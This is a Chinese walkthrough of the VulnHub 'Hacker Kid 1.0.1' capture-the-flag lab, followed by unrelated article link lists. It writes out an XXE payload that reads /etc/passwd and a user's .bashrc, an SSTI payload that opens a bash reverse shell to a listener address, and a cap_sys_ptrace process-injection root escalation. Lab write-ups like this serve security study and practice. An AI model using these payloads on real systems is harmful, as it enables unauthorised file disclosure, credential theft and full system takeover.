vulnhub靶场之HACKER KID: 1.0.1
准备:
攻击机:虚拟机kali、本机win10。
靶机:Hacker kid: 1.0.1,下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova,下载后直接vbox打开即可。
知识点:xxe漏洞、dns解析、ssti漏洞、cap_sys_ptrace+ep进程注入提权。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.240。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.240,显示开放了53、80、9999端口,开启了http服务。

web服务-信息收集:
打开web界面,提示信息告诉我们使用dig(域名查询工具)去继续挖掘。

在其源代码信息中看到提示信息:Use a GET parameter page_no to view pages,告诉我们使用page_no参数来访问当前页面。

使用page_no(根据参数名猜测参数应该是页数)参数访问当前页面:http://192.168.5.240/?page_no=1,获得返回提示信息。使用bp得爆破模块当page_no=21时,获得提示信息,告诉我们一个域名:hackers.blackhat.local。


结合刚才让我们使用dig继续挖掘得信息,这里配合域名:hackers.blackhat.local进行挖掘,命令:dig hackers.blackhat.local @192.168.5.240,发现新的域名:hackerkid.blackhat.local。

在本机和kali中配置下dns解析:
win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件进行配置,配置信息如下。
192.168.5.240 hackers.blackhat.local
192.168.5.240 blackhat.local
192.168.5.240 hackerkid.blackhat.local

xxe漏洞:
配置完成后访问:http://hackerkid.blackhat.local/出现一个注册界面,但是注册时一直显示邮箱存在问题。

使用bp进行抓包分析,发现数据是以xml格式发送得数据,那猜测这里可能存在xxe注入,测试xxe注入读取下/etc/passwd文件,发现账户名:saket。
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>

尝试读取下当前用户下得其他文件,命令:php://filter/convert.base64-encode/resource=/home/saket/.bashrc,成功获取到.bashc文件信息,对返回的信息进行解密,获得一组账户和密码信息:admin/Saket!#$%@!!。


ssti漏洞:
使用获得账户名和信息在:http://192.168.5.240:9999/进行登录,但是:admin/Saket!#$%@!!登录失败,然后尝试了下/etc/passwd文件中发现得saket账户进行登录,登录成功。

提示信息告诉我们需要告诉他我们得名字,尝试输入参数?name=saket,结果返回hello saket。

结合nmap扫描出来的信息知道这里是tornado框架,因此猜测这里可能存在ssti注入,测试:192.168.5.240:9999/?name={{3*3}},代码被执行,因此这里存在ssti注入漏洞。

获取shell:
利用ssti注入反弹shell,因为这里项目搞完去了下一个地方,换了酒店,所以ip地址发生了改变,命令如下:
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/172.18.8.120/6688 0>&1"')}}
url编码后:
%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F172%2E18%2E8%2E120%2F6688+0%3E%261%22%27%29%7D%7D

提权:
通过命令:find / -perm -4000 -type f 2>/dev/null,来查找下可以用来提权的信息,发现了/usr/lib/policykit-1/polkit-agent-helper-1,当时利用polickit的两个漏洞进行提权均是失败,前面文章有说过这两个漏洞。


上传LinEnum.sh脚本进行信息收集,脚本:https://pan.baidu.com/s/1fkL1bN0xDw0r5xb3a62qCQ,提取码:upfn,在收集的信息中发现在历史命令中利用python2.7执行力一个脚本,然后使用nc开启了一个端口监听,注意这里执行的命令,后面是关键。

那就收集下和python2.7有关的信息,命令:./LinEnum.sh | grep python2.7,

发现python2.7具有cap_sys_ptrace+ep权限,那我们可以利用python具备的cap_sys_ptrace+ep能力将root权限的进程注入python类型shellcode以实现权限提升。下面两种提权方式原理一样。
提权方式一:
利用历史命令中发现的执行命令信息,执行命令:ps -eaf | grep root来找寻root进程,然后使用命令:python2.7 exp.py 784来进行进程注入,然后在本地使用nc进行5600端口的连接,成功获得root权限。exp.py脚本信息:git clone https://gitee.com/Re1-zf/shell.git。


提权方式二:
编写脚本对root进程批量尝试。
for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done

然后查看下5600端口是否开启监听状态,然后在本地使用nc进行5600端口的连接,成功获得root权限。
vulnhub靶场之HACKER KID: 1.0.1的更多相关文章
- Vulnhub靶场渗透练习(一) Breach1.0
打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
- vulnhub靶场之DRIPPING BLUES: 1
准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
随机推荐
- Hbase之API基本操作
API之框架 private static Admin admin = null; private static Connection connection = null; private stati ...
- SQL语句编写的练习(MySQL)
SQL语句编写的练习(MySQL) 一.建表 1.学生表(Student) 学号 | 姓名 | 性别 | 出生年月 | 所在班级 create table Student( sno varchar(2 ...
- 齐博X1-栏目的调用1
本节来说明下系统提供的几个栏目调用的方法 一节我们制作了一个公共导航,本节我们在首页index中演示下栏目的相关调用 至于其他的数据内容,参考第二季的标签调用即可,直接{qb:tag}调用就可以调用出 ...
- 知识图谱顶会论文(SIGIR-2022) MorsE:归纳知识图嵌入的元知识迁移
MorsE:归纳知识图嵌入的元知识迁移 论文题目: Meta-Knowledge Transfer for Inductive Knowledge Graph Embedding 论文地址: http ...
- Gitea 1.18 功能前瞻(其三):增强文本预览效果、继续扩展软件包注册中心、增强工单实用功能、完善了用户邀请机制和SEO
今天是 10 月 26 日星期三,Gitea 周期性地发布了 1.18 的第一个 RC0 版本,在此阶段会收集一些功能和使用上的问题,随后还会发布 RC1,新功能的完整性和健壮性会逐步趋近正式版. 继 ...
- Nacos基本学习
一.注册中心 1.启动 1.下载nacos 在Nacos的GitHub页面,提供有下载链接,可以下载编译好的Nacos服务端或者源代码: GitHub主页:https://github.com/ali ...
- Druid SQL注入防御模块技术浅析
官方参考: https://www.bookstack.cn/read/Druid/ffdd9118e6208531.md 前置知识 什么是Druid? Druid是一个高效的数据查询系统,主要解决的 ...
- while循环条件不成立却无法跳出死循环的问题
在进入循环的时候,实际上是将A从内存加载到寄存器里面运行的,在整个循环中,A这个变量都只是在读取寄存器里面的值. 而当进入中断的时候,中断里面会从内存加载A到寄存器,修改完之后又存到内存里,然后退出中 ...
- 【Azure 环境】把OpenSSL生产的自签名证书导入到Azure Key Vault Certificate中报错
问题描述 通过本地生成的自签名证书导入到Azure Key Vault Certificate报错. 错误信息 the specified PEM X.509 certificate content ...
- Spring Cloud Gateway 使用示例
Spring Cloud Gateway 使用示例 作者: Grey 原文地址: 博客园:Spring Cloud Gateway 使用示例 CSDN:Spring Cloud Gateway 使用示 ...